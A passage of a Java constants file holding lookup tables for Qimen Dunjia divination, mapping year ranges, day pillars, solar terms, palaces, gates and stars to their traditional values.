put(86, Arrays.asList(4984, 5043, "中元", 4)); // 公历4984~5043年:中元,阴遁4局
put(87, Arrays.asList(5044, 5103, "下元", 7)); // 公历5044~5103年:下元,阴遁7局
put(88, Arrays.asList(5104, 5163, "上元", 1)); // 公历5104~5163年:上元,阴遁1局
put(89, Arrays.asList(5164, 5223, "中元", 4)); // 公历5164~5223年:中元,阴遁4局
put(91, Arrays.asList(5224, 5283, "下元", 7)); // 公历5224~5283年:下元,阴遁7局
put(92, Arrays.asList(5284, 5343, "上元", 1)); // 公历5284~5343年:上元,阴遁1局
put(93, Arrays.asList(5344, 5403, "中元", 4)); // 公历5344~5403年:中元,阴遁4局
put(94, Arrays.asList(5404, 5463, "下元", 7)); // 公历5404~5463年:下元,阴遁7局
put(95, Arrays.asList(5464, 5523, "上元", 1)); // 公历5464~5523年:上元,阴遁1局
put(96, Arrays.asList(5524, 5583, "中元", 4)); // 公历5524~5583年:中元,阴遁4局
put(97, Arrays.asList(5584, 5643, "下元", 7)); // 公历5584~5643年:下元,阴遁7局
put(98, Arrays.asList(5644, 5703, "上元", 1)); // 公历5644~5703年:上元,阴遁1局
put(99, Arrays.asList(5704, 5763, "中元", 4)); // 公历5704~5763年:中元,阴遁4局
put(100, Arrays.asList(5764, 5823, "下元", 7)); // 公历5764~5823年:下元,阴遁7局
put(101, Arrays.asList(5824, 5883, "上元", 1)); // 公历5824~5883年:上元,阴遁1局
put(102, Arrays.asList(5884, 5943, "中元", 4)); // 公历5884~5943年:中元,阴遁4局
put(103, Arrays.asList(5944, 6003, "下元", 7)); // 公历5944~6003年:下元,阴遁7局
put(104, Arrays.asList(6004, 6063, "上元", 1)); // 公历6004~6063年:上元,阴遁1局
put(105, Arrays.asList(6064, 6123, "中元", 4)); // 公历6064~6123年:中元,阴遁4局
put(106, Arrays.asList(6124, 6183, "下元", 7)); // 公历6124~6183年:下元,阴遁7局
put(107, Arrays.asList(6184, 6243, "上元", 1)); // 公历6184~6243年:上元,阴遁1局
put(108, Arrays.asList(6244, 6303, "中元", 4)); // 公历6244~6303年:中元,阴遁4局
put(109, Arrays.asList(6304, 6363, "下元", 7)); // 公历6304~6363年:下元,阴遁7局
put(110, Arrays.asList(6364, 6423, "上元", 1)); // 公历6364~6423年:上元,阴遁1局
put(111, Arrays.asList(6424, 6483, "中元", 4)); // 公历6424~6483年:中元,阴遁4局
put(112, Arrays.asList(6484, 6543, "下元", 7)); // 公历6484~6543年:下元,阴遁7局
put(113, Arrays.asList(6544, 6603, "上元", 1)); // 公历6544~6603年:上元,阴遁1局
put(114, Arrays.asList(6604, 6663, "中元", 4)); // 公历6604~6663年:中元,阴遁4局
put(115, Arrays.asList(6664, 6723, "下元", 7)); // 公历6664~6723年:下元,阴遁7局
put(116, Arrays.asList(6724, 6783, "上元", 1)); // 公历6724~6783年:上元,阴遁1局
put(117, Arrays.asList(6784, 6843, "中元", 4)); // 公历6784~6843年:中元,阴遁4局
put(118, Arrays.asList(6844, 6903, "下元", 7)); // 公历6844~6903年:下元,阴遁7局
put(119, Arrays.asList(6904, 6963, "上元", 1)); // 公历6904~6963年:上元,阴遁1局
put(120, Arrays.asList(6964, 7023, "中元", 4)); // 公历6964~7023年:中元,阴遁4局
put(121, Arrays.asList(7024, 7083, "下元", 7)); // 公历7024~7083年:下元,阴遁7局
put(122, Arrays.asList(7084, 7143, "上元", 1)); // 公历7084~7143年:上元,阴遁1局
put(123, Arrays.asList(7144, 7203, "中元", 4)); // 公历7144~7203年:中元,阴遁4局
put(124, Arrays.asList(7204, 7263, "下元", 7)); // 公历7204~7263年:下元,阴遁7局
put(125, Arrays.asList(7264, 7323, "上元", 1)); // 公历7264~7323年:上元,阴遁1局
put(126, Arrays.asList(7324, 7383, "中元", 4)); // 公历7324~7383年:中元,阴遁4局
put(127, Arrays.asList(7384, 7443, "下元", 7)); // 公历7384~7443年:下元,阴遁7局
put(128, Arrays.asList(7444, 7503, "上元", 1)); // 公历7444~7503年:上元,阴遁1局
put(129, Arrays.asList(7504, 7563, "中元", 4)); // 公历7504~7563年:中元,阴遁4局
put(130, Arrays.asList(7564, 7623, "下元", 7)); // 公历7564~7623年:下元,阴遁7局
put(131, Arrays.asList(7624, 7683, "上元", 1)); // 公历7624~7683年:上元,阴遁1局
put(132, Arrays.asList(7684, 7743, "中元", 4)); // 公历7684~7743年:中元,阴遁4局
put(133, Arrays.asList(7744, 7803, "下元", 7)); // 公历7744~7803年:下元,阴遁7局
put(134, Arrays.asList(7804, 7863, "上元", 1)); // 公历7804~7863年:上元,阴遁1局
put(135, Arrays.asList(7864, 7923, "中元", 4)); // 公历7864~7923年:中元,阴遁4局
put(136, Arrays.asList(7924, 7983, "下元", 7)); // 公历7924~7983年:下元,阴遁7局
put(137, Arrays.asList(7984, 8043, "上元", 1)); // 公历7984~8043年:上元,阴遁1局
put(138, Arrays.asList(8044, 8103, "中元", 4)); // 公历8044~8103年:中元,阴遁4局
put(139, Arrays.asList(8104, 8163, "下元", 7)); // 公历8104~8163年:下元,阴遁7局
put(140, Arrays.asList(8164, 8223, "上元", 1)); // 公历8164~8223年:上元,阴遁1局
put(141, Arrays.asList(8224, 8283, "中元", 4)); // 公历8224~8283年:中元,阴遁4局
put(142, Arrays.asList(8284, 8343, "下元", 7)); // 公历8284~8343年:下元,阴遁7局
put(143, Arrays.asList(8344, 8403, "上元", 1)); // 公历8344~8403年:上元,阴遁1局
put(144, Arrays.asList(8404, 8463, "中元", 4)); // 公历8404~8463年:中元,阴遁4局
put(145, Arrays.asList(8464, 8523, "下元", 7)); // 公历8464~8523年:下元,阴遁7局
put(146, Arrays.asList(8524, 8583, "上元", 1)); // 公历8524~8583年:上元,阴遁1局
put(147, Arrays.asList(8584, 8643, "中元", 4)); // 公历8584~8643年:中元,阴遁4局
put(148, Arrays.asList(8644, 8703, "下元", 7)); // 公历8644~8703年:下元,阴遁7局
put(149, Arrays.asList(8704, 8763, "上元", 1)); // 公历8704~8763年:上元,阴遁1局
put(150, Arrays.asList(8764, 8823, "中元", 4)); // 公历8764~8823年:中元,阴遁4局
put(151, Arrays.asList(8824, 8883, "下元", 7)); // 公历8824~8883年:下元,阴遁7局
put(152, Arrays.asList(8884, 8943, "上元", 1)); // 公历8884~8943年:上元,阴遁1局
put(153, Arrays.asList(8944, 9003, "中元", 4)); // 公历8944~9003年:中元,阴遁4局
put(154, Arrays.asList(9004, 9063, "下元", 7)); // 公历9004~9063年:下元,阴遁7局
put(155, Arrays.asList(9064, 9123, "上元", 1)); // 公历9064~9123年:上元,阴遁1局
put(156, Arrays.asList(9124, 9183, "中元", 4)); // 公历9124~9183年:中元,阴遁4局
put(157, Arrays.asList(9184, 9243, "下元", 7)); // 公历9184~9243年:下元,阴遁7局
put(158, Arrays.asList(9244, 9303, "上元", 1)); // 公历9244~9303年:上元,阴遁1局
put(159, Arrays.asList(9304, 9363, "中元", 4)); // 公历9304~9363年:中元,阴遁4局
put(160, Arrays.asList(9364, 9423, "下元", 7)); // 公历9364~9423年:下元,阴遁7局
put(161, Arrays.asList(9424, 9483, "上元", 1)); // 公历9424~9483年:上元,阴遁1局
put(162, Arrays.asList(9484, 9543, "中元", 4)); // 公历9484~9543年:中元,阴遁4局
put(163, Arrays.asList(9544, 9603, "下元", 7)); // 公历9544~9603年:下元,阴遁7局
put(164, Arrays.asList(9604, 9663, "上元", 1)); // 公历9604~9663年:上元,阴遁1局
put(165, Arrays.asList(9664, 9723, "中元", 4)); // 公历9664~9723年:中元,阴遁4局
put(166, Arrays.asList(9724, 9783, "下元", 7)); // 公历9724~9783年:下元,阴遁7局
put(167, Arrays.asList(9784, 9843, "上元", 1)); // 公历9784~9843年:上元,阴遁1局
put(168, Arrays.asList(9844, 9903, "中元", 4)); // 公历9844~9903年:中元,阴遁4局
put(169, Arrays.asList(9904, 9963, "下元", 7)); // 公历9904~9963年:下元,阴遁7局
put(170, Arrays.asList(9964, 9999, "上元", 1)); // 公历9964~9999年:上元,阴遁1局
}
};
//----------------------------------------------------------------------------------------------------------------------------------------------------
/**
* 十二地支对应季节
*/
public static final Map<String, String> DI_ZHI_JI_JIE = new HashMap<String, String>() {
private static final long serialVersionUID = -1;
{
put("子", "冬季"); // 子:冬季
put("丑", "四季末"); // 丑:冬季(四季末)
put("寅", "春季"); // 寅:春季
put("卯", "春季"); // 卯:春季
put("辰", "四季末"); // 辰:春季(四季末)
put("巳", "夏季"); // 巳:夏季
put("午", "夏季"); // 午:夏季
put("未", "四季末"); // 未:夏季(四季末)
put("申", "秋季"); // 申:秋季
put("酉", "秋季"); // 酉:秋季
put("戌", "四季末"); // 戌:秋季(四季末)
put("亥", "冬季"); // 亥:冬季
}
};
/**
* 三元符头
*/
public static final String[] SAN_YUAN_FU_TOU = {"甲子", "甲午", "甲寅", "甲申", "甲辰", "甲戌", "己卯", "己酉", "己巳", "己亥", "己丑", "己未"};
/**
* 日柱对应的符头
*/
public static final Map<String, String> RI_ZHU_FU_TOU = new HashMap<String, String>() {
private static final long serialVersionUID = -1;
{
put("甲子", "甲子");
put("甲午", "甲午");
put("乙丑", "甲子");
put("乙未", "甲午");
put("丙寅", "甲子");
put("丙申", "甲午");
put("丁卯", "甲子");
put("丁酉", "甲午");
put("戊辰", "甲子");
put("戊戌", "甲午");
put("己卯", "己卯");
put("己酉", "己酉");
put("庚辰", "己卯");
put("庚戌", "己酉");
put("辛巳", "己卯");
put("辛亥", "己酉");
put("壬午", "己卯");
put("壬子", "己酉");
put("癸未", "己卯");
put("癸丑", "己酉");
put("甲申", "甲申");
put("甲寅", "甲寅");
put("乙酉", "甲申");
put("乙卯", "甲寅");
put("丙戌", "甲申");
put("丙辰", "甲寅");
put("丁亥", "甲申");
put("丁巳", "甲寅");
put("戊子", "甲申");
put("戊午", "甲寅");
put("己巳", "己巳");
put("己亥", "己亥");
put("庚午", "己巳");
put("庚子", "己亥");
put("辛未", "己巳");
put("辛丑", "己亥");
put("壬申", "己巳");
put("壬寅", "己亥");
put("癸酉", "己巳");
put("癸卯", "己亥");
put("甲戌", "甲戌");
put("甲辰", "甲辰");
put("乙亥", "甲戌");
put("乙巳", "甲辰");
put("丙子", "甲戌");
put("丙午", "甲辰");
put("丁丑", "甲戌");
put("丁未", "甲辰");
put("戊寅", "甲戌");
put("戊申", "甲辰");
put("己丑", "己丑");
put("己未", "己未");
put("庚寅", "己丑");
put("庚申", "己未");
put("辛卯", "己丑");
put("辛酉", "己未");
put("壬辰", "己丑");
put("壬戌", "己未");
put("癸巳", "己丑");
put("癸亥", "己未");
}
};
/**
* 日柱对应的三元
*/
public static final Map<String, String> RI_ZHU_SAN_YUAN = new HashMap<String, String>() {
private static final long serialVersionUID = -1;
{
put("甲子", "上元");
put("甲午", "上元");
put("乙丑", "上元");
put("乙未", "上元");
put("丙寅", "上元");
put("丙申", "上元");
put("丁卯", "上元");
put("丁酉", "上元");
put("戊辰", "上元");
put("戊戌", "上元");
put("己卯", "上元");
put("己酉", "上元");
put("庚辰", "上元");
put("庚戌", "上元");
put("辛巳", "上元");
put("辛亥", "上元");
put("壬午", "上元");
put("壬子", "上元");
put("癸未", "上元");
put("癸丑", "上元");
put("甲申", "中元");
put("甲寅", "中元");
put("乙酉", "中元");
put("乙卯", "中元");
put("丙戌", "中元");
put("丙辰", "中元");
put("丁亥", "中元");
put("丁巳", "中元");
put("戊子", "中元");
put("戊午", "中元");
put("己巳", "中元");
put("己亥", "中元");
put("庚午", "中元");
put("庚子", "中元");
put("辛未", "中元");
put("辛丑", "中元");
put("壬申", "中元");
put("壬寅", "中元");
put("癸酉", "中元");
put("癸卯", "中元");
put("甲戌", "下元");
put("甲辰", "下元");
put("乙亥", "下元");
put("乙巳", "下元");
put("丙子", "下元");
put("丙午", "下元");
put("丁丑", "下元");
put("丁未", "下元");
put("戊寅", "下元");
put("戊申", "下元");
put("己丑", "下元");
put("己未", "下元");
put("庚寅", "下元");
put("庚申", "下元");
put("辛卯", "下元");
put("辛酉", "下元");
put("壬辰", "下元");
put("壬戌", "下元");
put("癸巳", "下元");
put("癸亥", "下元");
}
};
/**
* 阴阳遁对应的二十四节气
*/
public static final Map<String, List<String>> YIN_YANG_DUN_JIE_QI = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
{
put("阳遁", Arrays.asList("冬至", "小寒", "大寒", "立春", "雨水", "惊蛰", "春分", "清明", "谷雨", "立夏", "小满", "芒种"));
put("阴遁", Arrays.asList("夏至", "小暑", "大暑", "立秋", "处暑", "白露", "秋分", "寒露", "霜降", "立冬", "小雪", "大雪"));
}
};
/**
* 二十四节气对应的阴阳遁
*/
public static final Map<String, String> JIE_QI_YIN_YANG_DUN = new HashMap<String, String>() {
private static final long serialVersionUID = -1;
{
put("冬至", "阳遁");
put("小寒", "阳遁");
put("大寒", "阳遁");
put("立春", "阳遁");
put("雨水", "阳遁");
put("惊蛰", "阳遁");
put("春分", "阳遁");
put("清明", "阳遁");
put("谷雨", "阳遁");
put("立夏", "阳遁");
put("小满", "阳遁");
put("芒种", "阳遁");
put("夏至", "阴遁");
put("小暑", "阴遁");
put("大暑", "阴遁");
put("立秋", "阴遁");
put("处暑", "阴遁");
put("白露", "阴遁");
put("秋分", "阴遁");
put("寒露", "阴遁");
put("霜降", "阴遁");
put("立冬", "阴遁");
put("小雪", "阴遁");
put("大雪", "阴遁");
}
};
/**
* 二十四节气对应局数
*/
public static final Map<String, List<Integer>> JU_SHU = new HashMap<String, List<Integer>>() {
private static final long serialVersionUID = -1;
/*
阳遁:
冬至、惊蛰一七四,小寒二八五,
大寒、春分三九六,雨水九六三,
清明、立夏四一七,立春八五二,
谷雨、小满五二八,芒种六三九。
阴遁:
夏至、白露九三六,小暑八二五,
大暑、秋分七一四,立秋二五八,
寒露、立冬六九三,处暑一四七,
霜降、小雪五八二,大雪四七一。
*/ {
put("冬至", Arrays.asList(1, 7, 4)); // 冬至:上元用阳遁1局,中元用阳遁7局,下元用阳遁4局
put("小寒", Arrays.asList(2, 8, 5)); // 小寒:上元用阳遁2局,中元用阳遁8局,下元用阳遁5局
put("大寒", Arrays.asList(3, 9, 6)); // 大寒:上元用阳遁3局,中元用阳遁9局,下元用阳遁6局
put("立春", Arrays.asList(8, 5, 2)); // 立春:上元用阳遁8局,中元用阳遁5局,下元用阳遁2局
put("雨水", Arrays.asList(9, 6, 3)); // 雨水:上元用阳遁9局,中元用阳遁6局,下元用阳遁3局
put("惊蛰", Arrays.asList(1, 7, 4)); // 惊蛰:上元用阳遁1局,中元用阳遁7局,下元用阳遁4局
put("春分", Arrays.asList(3, 9, 6)); // 春分:上元用阳遁3局,中元用阳遁9局,下元用阳遁6局
put("清明", Arrays.asList(4, 1, 7)); // 清明:上元用阳遁4局,中元用阳遁1局,下元用阳遁7局
put("谷雨", Arrays.asList(5, 2, 8)); // 谷雨:上元用阳遁5局,中元用阳遁2局,下元用阳遁8局
put("立夏", Arrays.asList(4, 1, 7)); // 立夏:上元用阳遁4局,中元用阳遁1局,下元用阳遁7局
put("小满", Arrays.asList(5, 2, 8)); // 小满:上元用阳遁5局,中元用阳遁2局,下元用阳遁8局
put("芒种", Arrays.asList(6, 3, 9)); // 芒种:上元用阳遁6局,中元用阳遁3局,下元用阳遁9局
put("夏至", Arrays.asList(9, 3, 6)); // 夏至:上元用阴遁9局,中元用阴遁3局,下元用阴遁6局
put("小暑", Arrays.asList(8, 2, 5)); // 小暑:上元用阴遁8局,中元用阴遁2局,下元用阴遁5局
put("大暑", Arrays.asList(7, 1, 4)); // 大暑:上元用阴遁7局,中元用阴遁1局,下元用阴遁4局
put("立秋", Arrays.asList(2, 5, 8)); // 立秋:上元用阴遁2局,中元用阴遁5局,下元用阴遁8局
put("处暑", Arrays.asList(1, 4, 7)); // 处暑:上元用阴遁1局,中元用阴遁4局,下元用阴遁7局
put("白露", Arrays.asList(9, 3, 6)); // 白露:上元用阴遁9局,中元用阴遁3局,下元用阴遁6局
put("秋分", Arrays.asList(7, 1, 4)); // 秋分:上元用阴遁7局,中元用阴遁1局,下元用阴遁4局
put("寒露", Arrays.asList(6, 9, 3)); // 寒露:上元用阴遁6局,中元用阴遁9局,下元用阴遁3局
put("霜降", Arrays.asList(5, 8, 2)); // 霜降:上元用阴遁5局,中元用阴遁8局,下元用阴遁2局
put("立冬", Arrays.asList(6, 9, 3)); // 立冬:上元用阴遁6局,中元用阴遁9局,下元用阴遁3局
put("小雪", Arrays.asList(5, 8, 2)); // 小雪:上元用阴遁5局,中元用阴遁8局,下元用阴遁2局
put("大雪", Arrays.asList(4, 7, 1)); // 大雪:上元用阴遁4局,中元用阴遁7局,下元用阴遁1局
}
};
/**
* 六十甲子对应的旬首
*/
public static final Map<String, List<String>> SIX_JIA_ZI_XUN_SHOU = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
{
put("甲子", Arrays.asList("甲子", "戊"));
put("甲戌", Arrays.asList("甲戌", "己"));
put("甲申", Arrays.asList("甲申", "庚"));
put("甲午", Arrays.asList("甲午", "辛"));
put("甲辰", Arrays.asList("甲辰", "壬"));
put("甲寅", Arrays.asList("甲寅", "癸"));
put("乙丑", Arrays.asList("甲子", "戊"));
put("乙亥", Arrays.asList("甲戌", "己"));
put("乙酉", Arrays.asList("甲申", "庚"));
put("乙未", Arrays.asList("甲午", "辛"));
put("乙巳", Arrays.asList("甲辰", "壬"));
put("乙卯", Arrays.asList("甲寅", "癸"));
put("丙寅", Arrays.asList("甲子", "戊"));
put("丙子", Arrays.asList("甲戌", "己"));
put("丙戌", Arrays.asList("甲申", "庚"));
put("丙申", Arrays.asList("甲午", "辛"));
put("丙午", Arrays.asList("甲辰", "壬"));
put("丙辰", Arrays.asList("甲寅", "癸"));
put("丁卯", Arrays.asList("甲子", "戊"));
put("丁丑", Arrays.asList("甲戌", "己"));
put("丁亥", Arrays.asList("甲申", "庚"));
put("丁酉", Arrays.asList("甲午", "辛"));
put("丁未", Arrays.asList("甲辰", "壬"));
put("丁巳", Arrays.asList("甲寅", "癸"));
put("戊辰", Arrays.asList("甲子", "戊"));
put("戊寅", Arrays.asList("甲戌", "己"));
put("戊子", Arrays.asList("甲申", "庚"));
put("戊戌", Arrays.asList("甲午", "辛"));
put("戊申", Arrays.asList("甲辰", "壬"));
put("戊午", Arrays.asList("甲寅", "癸"));
put("己巳", Arrays.asList("甲子", "戊"));
put("己卯", Arrays.asList("甲戌", "己"));
put("己丑", Arrays.asList("甲申", "庚"));
put("己亥", Arrays.asList("甲午", "辛"));
put("己酉", Arrays.asList("甲辰", "壬"));
put("己未", Arrays.asList("甲寅", "癸"));
put("庚午", Arrays.asList("甲子", "戊"));
put("庚辰", Arrays.asList("甲戌", "己"));
put("庚寅", Arrays.asList("甲申", "庚"));
put("庚子", Arrays.asList("甲午", "辛"));
put("庚戌", Arrays.asList("甲辰", "壬"));
put("庚申", Arrays.asList("甲寅", "癸"));
put("辛未", Arrays.asList("甲子", "戊"));
put("辛巳", Arrays.asList("甲戌", "己"));
put("辛卯", Arrays.asList("甲申", "庚"));
put("辛丑", Arrays.asList("甲午", "辛"));
put("辛亥", Arrays.asList("甲辰", "壬"));
put("辛酉", Arrays.asList("甲寅", "癸"));
put("壬申", Arrays.asList("甲子", "戊"));
put("壬午", Arrays.asList("甲戌", "己"));
put("壬辰", Arrays.asList("甲申", "庚"));
put("壬寅", Arrays.asList("甲午", "辛"));
put("壬子", Arrays.asList("甲辰", "壬"));
put("壬戌", Arrays.asList("甲寅", "癸"));
put("癸酉", Arrays.asList("甲子", "戊"));
put("癸未", Arrays.asList("甲戌", "己"));
put("癸巳", Arrays.asList("甲申", "庚"));
put("癸卯", Arrays.asList("甲午", "辛"));
put("癸丑", Arrays.asList("甲辰", "壬"));
put("癸亥", Arrays.asList("甲寅", "癸"));
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 地盘奇仪(阳遁1~9宫)
*/
public static final Map<Integer, List<String>> DI_YANG_QI_YI = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
// 例如→ 阳遁一局:戊落坎一宫,己落坤二宫,庚落震三宫,辛落巽四宫,壬落中五宫,癸落乾六宫,丁落兑七宫,丙落艮八宫,乙落离九宫
{
put(1, Arrays.asList("戊", "己", "庚", "辛", "壬", "癸", "丁", "丙", "乙")); // 阳遁一局(1~9宫)
put(2, Arrays.asList("乙", "戊", "己", "庚", "辛", "壬", "癸", "丁", "丙")); // 阳遁二局(1~9宫)
put(3, Arrays.asList("丙", "乙", "戊", "己", "庚", "辛", "壬", "癸", "丁")); // 阳遁三局(1~9宫)
put(4, Arrays.asList("丁", "丙", "乙", "戊", "己", "庚", "辛", "壬", "癸")); // 阳遁四局(1~9宫)
put(5, Arrays.asList("癸", "丁", "丙", "乙", "戊", "己", "庚", "辛", "壬")); // 阳遁五局(1~9宫)
put(6, Arrays.asList("壬", "癸", "丁", "丙", "乙", "戊", "己", "庚", "辛")); // 阳遁六局(1~9宫)
put(7, Arrays.asList("辛", "壬", "癸", "丁", "丙", "乙", "戊", "己", "庚")); // 阳遁七局(1~9宫)
put(8, Arrays.asList("庚", "辛", "壬", "癸", "丁", "丙", "乙", "戊", "己")); // 阳遁八局(1~9宫)
put(9, Arrays.asList("己", "庚", "辛", "壬", "癸", "丁", "丙", "乙", "戊")); // 阳遁九局(1~9宫)
}
};
/**
* 地盘奇仪(阴遁1~9宫)
*/
public static final Map<Integer, List<String>> DI_YIN_QI_YI = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
// 例如→ 阴遁一局:戊落坎一宫,乙落坤二宫,丙落震三宫,丁落巽四宫,癸落中五宫,壬落乾六宫,辛落兑七宫,庚落艮八宫,己落离九宫
{
put(1, Arrays.asList("戊", "乙", "丙", "丁", "癸", "壬", "辛", "庚", "己")); // 阴遁一局(1~9宫)
put(2, Arrays.asList("己", "戊", "乙", "丙", "丁", "癸", "壬", "辛", "庚")); // 阴遁二局(1~9宫)
put(3, Arrays.asList("庚", "己", "戊", "乙", "丙", "丁", "癸", "壬", "辛")); // 阴遁三局(1~9宫)
put(4, Arrays.asList("辛", "庚", "己", "戊", "乙", "丙", "丁", "癸", "壬")); // 阴遁四局(1~9宫)
put(5, Arrays.asList("壬", "辛", "庚", "己", "戊", "乙", "丙", "丁", "癸")); // 阴遁五局(1~9宫)
put(6, Arrays.asList("癸", "壬", "辛", "庚", "己", "戊", "乙", "丙", "丁")); // 阴遁六局(1~9宫)
put(7, Arrays.asList("丁", "癸", "壬", "辛", "庚", "己", "戊", "乙", "丙")); // 阴遁七局(1~9宫)
put(8, Arrays.asList("丙", "丁", "癸", "壬", "辛", "庚", "己", "戊", "乙")); // 阴遁八局(1~9宫)
put(9, Arrays.asList("乙", "丙", "丁", "癸", "壬", "辛", "庚", "己", "戊")); // 阴遁九局(1~9宫)
}
};
/**
* 地盘六甲(阳遁1~9宫)
*/
public static final Map<Integer, List<String>> DI_YANG_LIU_JIA = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
// 例如→ 阳遁一局:甲子隐坎一宫,甲戌隐坤二宫,甲申隐震三宫,甲午隐巽四宫,甲辰隐中五宫,甲寅隐乾六宫。
{
put(1, Arrays.asList("甲子", "甲戌", "甲申", "甲午", "甲辰", "甲寅", "", "", "")); // 阳遁一局(1~9宫)
put(2, Arrays.asList("", "甲子", "甲戌", "甲申", "甲午", "甲辰", "甲寅", "", "")); // 阳遁二局(1~9宫)
put(3, Arrays.asList("", "", "甲子", "甲戌", "甲申", "甲午", "甲辰", "甲寅", "")); // 阳遁三局(1~9宫)
put(4, Arrays.asList("", "", "", "甲子", "甲戌", "甲申", "甲午", "甲辰", "甲寅")); // 阳遁四局(1~9宫)
put(5, Arrays.asList("甲寅", "", "", "", "甲子", "甲戌", "甲申", "甲午", "甲辰")); // 阳遁五局(1~9宫)
put(6, Arrays.asList("甲辰", "甲寅", "", "", "", "甲子", "甲戌", "甲申", "甲午")); // 阳遁六局(1~9宫)
put(7, Arrays.asList("甲午", "甲辰", "甲寅", "", "", "", "甲子", "甲戌", "甲申")); // 阳遁七局(1~9宫)
put(8, Arrays.asList("甲申", "甲午", "甲辰", "甲寅", "", "", "", "甲子", "甲戌")); // 阳遁八局(1~9宫)
put(9, Arrays.asList("甲戌", "甲申", "甲午", "甲辰", "甲寅", "", "", "", "甲子")); // 阳遁九局(1~9宫)
}
};
/**
* 地盘六甲(阴遁1~9宫)
*/
public static final Map<Integer, List<String>> DI_YIN_LIU_JIA = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
// 例如→ 阴遁一局:甲子隐坎一宫,甲戌隐离九宫,甲申隐艮八宫,甲午隐兑七宫,甲辰隐乾六宫,甲寅隐中五宫。
{
put(1, Arrays.asList("甲子", "", "", "", "甲寅", "甲辰", "甲午", "甲申", "甲戌")); // 阴遁一局(1~9宫)
put(2, Arrays.asList("甲戌", "甲子", "", "", "", "甲寅", "甲辰", "甲午", "甲申")); // 阴遁二局(1~9宫)
put(3, Arrays.asList("甲申", "甲戌", "甲子", "", "", "", "甲寅", "甲辰", "甲午")); // 阴遁三局(1~9宫)
put(4, Arrays.asList("甲午", "甲申", "甲戌", "甲子", "", "", "", "甲寅", "甲辰")); // 阴遁四局(1~9宫)
put(5, Arrays.asList("甲辰", "甲午", "甲申", "甲戌", "甲子", "", "", "", "甲寅")); // 阴遁五局(1~9宫)
put(6, Arrays.asList("甲寅", "甲辰", "甲午", "甲申", "甲戌", "甲子", "", "", "")); // 阴遁六局(1~9宫)
put(7, Arrays.asList("", "甲寅", "甲辰", "甲午", "甲申", "甲戌", "甲子", "", "")); // 阴遁七局(1~9宫)
put(8, Arrays.asList("", "", "甲寅", "甲辰", "甲午", "甲申", "甲戌", "甲子", "")); // 阴遁八局(1~9宫)
put(9, Arrays.asList("", "", "", "甲寅", "甲辰", "甲午", "甲申", "甲戌", "甲子")); // 阴遁九局(1~9宫)
}
};
//----------------------------------------------------------------------------------------------------------------------------------------------------
/**
* 根据二十四节气获取八门
*/
public static final Map<Integer, List<String>> IS_BA_MEN = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
{
put(0, Arrays.asList("冬至", "小寒", "大寒")); // 冬至、小寒、大寒:休门
put(1, Arrays.asList("立春", "雨水", "惊蛰")); // 立春、雨水、惊蛰:生门
put(2, Arrays.asList("春分", "清明", "谷雨")); // 春分、清明、谷雨:伤门
put(3, Arrays.asList("立夏", "小满", "芒种")); // 立夏、小满、芒种:杜门
put(4, Arrays.asList("夏至", "小暑", "大暑")); // 夏至、小暑、大暑:景门
put(5, Arrays.asList("立秋", "处暑", "白露")); // 立秋、处暑、白露:死门
put(6, Arrays.asList("秋分", "寒露", "霜降")); // 秋分、寒露、霜降:惊门
put(7, Arrays.asList("立冬", "小雪", "大雪")); // 立冬、小雪、大雪:开门
}
};
//----------------------------------------------------------------------------------------------------------------------------------------------------
/**
* 六甲旬空
*/
public static final Map<String, List<String>> LIU_JIA_XUN_KONG = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
/*
甲子旬戌亥空,甲戌旬申酉空;
甲申旬午未空,甲午旬辰巳空;
甲辰旬寅卯空,甲寅旬子丑空。
☞ 注:忌神落空则为喜、喜神落空则为凶
*/ {
put("甲子", Arrays.asList("戌", "亥"));
put("甲戌", Arrays.asList("申", "酉"));
put("甲申", Arrays.asList("午", "未"));
put("甲午", Arrays.asList("辰", "巳"));
put("甲辰", Arrays.asList("寅", "卯"));
put("甲寅", Arrays.asList("子", "丑"));
}
};
/**
* 六甲旬空落宫
*/
public static final Map<List<String>, List<Integer>> LIU_JIA_XUN_KONG_GONG = new HashMap<List<String>, List<Integer>>() {
private static final long serialVersionUID = -1;
{
put(Arrays.asList("戌", "亥"), Collections.singletonList(6));
put(Arrays.asList("申", "酉"), Arrays.asList(2, 7));
put(Arrays.asList("午", "未"), Arrays.asList(9, 2));
put(Arrays.asList("辰", "巳"), Collections.singletonList(4));
put(Arrays.asList("寅", "卯"), Arrays.asList(8, 3));
put(Arrays.asList("子", "丑"), Arrays.asList(1, 8));
}
};
/**
* 驿马
*/
public static final Map<String, String> YI_MA = new HashMap<String, String>() {
private static final long serialVersionUID = -1;
/* 根据时支判断→ 申子辰马在寅,寅午戌马在申,巳酉丑马在亥,亥卯未马在巳 */ {
put("申", "寅"); // 申:马在寅
put("子", "寅"); // 子:马在寅
put("辰", "寅"); // 辰:马在寅
put("寅", "申"); // 寅:马在申
put("午", "申"); // 午:马在申
put("戌", "申"); // 戌:马在申
put("巳", "亥"); // 巳:马在亥
put("酉", "亥"); // 酉:马在亥
put("丑", "亥"); // 丑:马在亥
put("亥", "巳"); // 亥:马在巳
put("卯", "巳"); // 卯:马在巳
put("未", "巳"); // 未:马在巳
}
};
/**
* 驿马落宫
*/
public static final Map<String, Integer> YI_MA_GONG = new HashMap<String, Integer>() {
private static final long serialVersionUID = -1;
/* 根据时支判断→ 寅马在艮八宫,申马在坤二宫,巳马在巽四宫,亥马在乾六宫 */ {
put("寅", 8); // 寅:马在艮八宫
put("申", 2); // 申:马在坤二宫
put("巳", 4); // 巳:马在巽四宫
put("亥", 6); // 亥:马在乾六宫
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 九星原始宫位(1~9宫)
*/
public static final String[] JIU_XING_INITIAL = {"天蓬", "天芮", "天冲", "天辅", "天禽", "天心", "天柱", "天任", "天英"};
/**
* 九星原始宫位(1~9宫)
*/
public static final Map<String, Integer> JIU_XING_INITIAL2 = new HashMap<String, Integer>() {
private static final long serialVersionUID = -1;
{
put("天蓬", 1); // 天蓬:坎一宫
put("天芮", 2); // 天芮:坤二宫
put("天冲", 3); // 天冲:震三宫
